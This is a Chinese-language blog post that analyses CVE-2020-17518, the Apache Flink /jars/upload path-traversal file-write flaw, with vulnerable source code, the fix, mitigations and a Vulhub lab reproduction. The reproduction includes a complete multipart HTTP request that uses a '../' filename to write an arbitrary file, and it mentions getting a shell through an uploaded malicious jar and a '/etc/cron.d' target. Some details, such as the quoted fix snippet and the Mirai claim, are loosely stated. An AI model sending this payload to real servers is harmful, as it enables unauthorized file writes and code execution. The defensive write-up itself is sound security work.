CVE-2020-17518源码分析与漏洞复现(Flink 路径遍历)

漏洞概述

漏洞名称 :Apache Flink REST API 任意文件上传漏洞
漏洞编号 :CVE-2020-17518
CVSS 评分 :7.5
影响版本 :Apache Flink 1.5.1 - 1.11.2
修复版本 :≥ 1.11.3 或 ≥ 1.12.0
漏洞类型 :路径遍历导致的任意文件写入
根本原因 :REST API 处理文件上传时未对 filename 参数进行路径规范化校验,导致攻击者可通过 ../ 实现目录穿越,将文件写入任意路径。


技术细节与源码分析

1. 漏洞触发原理

攻击者向 Flink 的 /jars/upload 接口提交恶意构造的 multipart/form-data 请求,在 filename 参数中注入路径遍历序列(如 ../../../tmp/pwned),绕过安全校验将文件写入非预期目录。

2. 关键源码定位

漏洞类 :org.apache.flink.runtime.rest.handler.job.JarUploadHandler
漏洞方法 :handleRequest()

java 复制代码
// 源码路径: flink-runtime/src/main/java/org/apache/flink/runtime/rest/handler/job/JarUploadHandler.java  
@Override
	protected CompletableFuture<JarUploadResponseBody> handleRequest(
			@Nonnull final HandlerRequest<EmptyRequestBody, EmptyMessageParameters> request,
			@Nonnull final RestfulGateway gateway) throws RestHandlerException {
		Collection<File> uploadedFiles = request.getUploadedFiles();
		if (uploadedFiles.size() != 1) {
			throw new RestHandlerException("Exactly 1 file must be sent, received " + uploadedFiles.size() + '.', HttpResponseStatus.BAD_REQUEST);
		}
		final Path fileUpload = uploadedFiles.iterator().next().toPath();
		return CompletableFuture.supplyAsync(() -> {
			if (!fileUpload.getFileName().toString().endsWith(".jar")) {
				throw new CompletionException(new RestHandlerException(
					"Only Jar files are allowed.",
					HttpResponseStatus.BAD_REQUEST));
			} else {
				final Path destination = jarDir.resolve(UUID.randomUUID() + "_" + fileUpload.getFileName());//未过滤路径遍历字符  
				try {
					Files.move(fileUpload, destination);//  执行文件写入
				} catch (IOException e) {
					throw new CompletionException(new RestHandlerException(
						String.format("Could not move uploaded jar file [%s] to [%s].",
							fileUpload,
							destination),
						HttpResponseStatus.INTERNAL_SERVER_ERROR,
						e));
				}
				return new JarUploadResponseBody(destination
					.normalize()
					.toString());
			}
		}, executor);

漏洞点分析 :
1.fileUpload.getFileName()

  • 直接使用用户输入的原始文件名(如 ../../../evil.jar)

  • 未进行路径过滤或规范化处理

2.jarDir.resolve() 路径拼接

  • resolve()方法会将用户输入路径与系统路径拼接

  • 攻击者可构造 ../../etc/cron.d/pwn 实现目录穿越

3.Files.move() 文件写入

  • 无权限校验,直接写入目标路径

  • 服务进程通常以高权限(root)运行,可覆盖系统文件


3. 官方修复方案

修复提交 :a5264a6f4152
修复代码:

java 复制代码
// 修复后:使用 getName() 剥离路径信息  
String fileName = new File(fileUpload.getFilename()).getName(); // 仅保留文件名  
Path dest = Paths.get(uploadDir).resolve(fileName);  

修复效果:

  • getName() 方法提取文件名(如 ../../pwn.txt → pwn.txt),阻断目录穿越。
  • 增加路径规范化逻辑,拒绝包含 .. 的输入。

漏洞复现

环境搭建

1.使用 Vulhub 环境启动漏洞靶机
bash 复制代码
 docker-compose up -d 
2.访问访问 http://target:8081,确认服务正常运行

攻击步骤

上传文件
1.发送如下数据包,即可上传一个文件到目标服务器的 /tmp/success 位置:
http 复制代码
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
2.进入容器中验证
bash 复制代码
docker exec -it 容器id  /bin/bash
  • 上传成功
getshell
1.下载工具Goby
2.打开工具扫描靶机
  • 发现漏洞
3. 验证漏洞
4.成功getshell
  • getshell的原理应该是通过拼接路径,上传恶意jar包到/tmp/flink-web-*/flink-web-upload/目录下,即可执行反弹shell的命令。
  • 相比通过Submit New Job处上传jar包,通过利用CVE-2020-17518漏洞上传的jar包,并不会在前台显示,因此具有一定的隐蔽性。

修复与缓解建议

  1. 官方升级:升级至 Flink ≥ 1.11.3 或 ≥ 1.12.0。
  2. 临时加固 :
    • 禁用未使用的REST API(如 jobmanager/jars/upload)。
    • 部署WAF规则拦截 filename 中的 ../ 或空字符(%00)。
  3. 权限控制:以低权限账户运行Flink服务,限制目录写入范围。

总结

CVE-2020-17518 的根源在于 路径解析与用户输入的信任失衡 。其利用链清晰展示了未过滤的用户输入如何通过路径遍历转化为RCE风险。修复需从代码层强化输入校验(如 getName() 剥离路径),并结合运行时防护(如权限最小化)。该漏洞的广泛利用(如Mirai僵尸网络)凸显了中间件安全在云原生架构中的关键性。


参考链接

  1. CVE-2020-17518 漏洞修复提交记录
  2. 漏洞原理与利用链分析(FreeBuf)
  3. 从文件上传到一键GetShell实战(天达云)
  4. Windows环境复现指南(FreeBuf)
相关推荐
Java_2017_csdn2 分钟前
OFC、ERP、OMS、WMS、TMS 对比-详解
java
Johny_Zhao7 小时前
FreeRADIUS + 华为AC/AP + 802.1X/WPA2-Enterprise 无线认证对接部署完整指南
网络·网络安全·信息安全·ldap·radius·huawei·系统运维·centos8
EatFan8 小时前
Spring Boot 4 落地观察:从 yudao-cloud、matecloud、JPower 看国产脚手架的升级路线与迁移清单
java·spring boot·后端·spring cloud·微服务·后端开发·jdk 21
Maiko Star8 小时前
* LangChain 提示词模板详解:ChatPromptTemplate 的使用与高级特性
java·人工智能·langchain
现任明教教主~10 小时前
Thinkphp站群蜘蛛池SaaS系统YanyvSEO含多用户/积分/六大引擎计费/易支付对接
java·开发语言·spring
锐速网络10 小时前
轻量化安全建设指南:无需硬件的SaaS化勒索病毒防御方案
网络安全·云备份·主机安全·saas安全·勒索病毒防护·轻量化安全·中小企业安全
一条破秋裤11 小时前
Linux 线程创建:pthread_create 与基本回收
java·linux·运维
布吉岛的石头11 小时前
Java 程序员第 49 阶段5:BERT 预训练目标 MLM+NSP 的工程含义
java·人工智能·深度学习·bert·transformer
Frag0ut12 小时前
Chrome与Chromium内核浏览器在Windows 11上的新特性全景解析
前端·chrome·windows·web安全·chromium·gemini ai·playready drm
摇滚侠12 小时前
《On Java 中文版 基础卷》阅读笔记 对象无处不在 03
java·笔记·python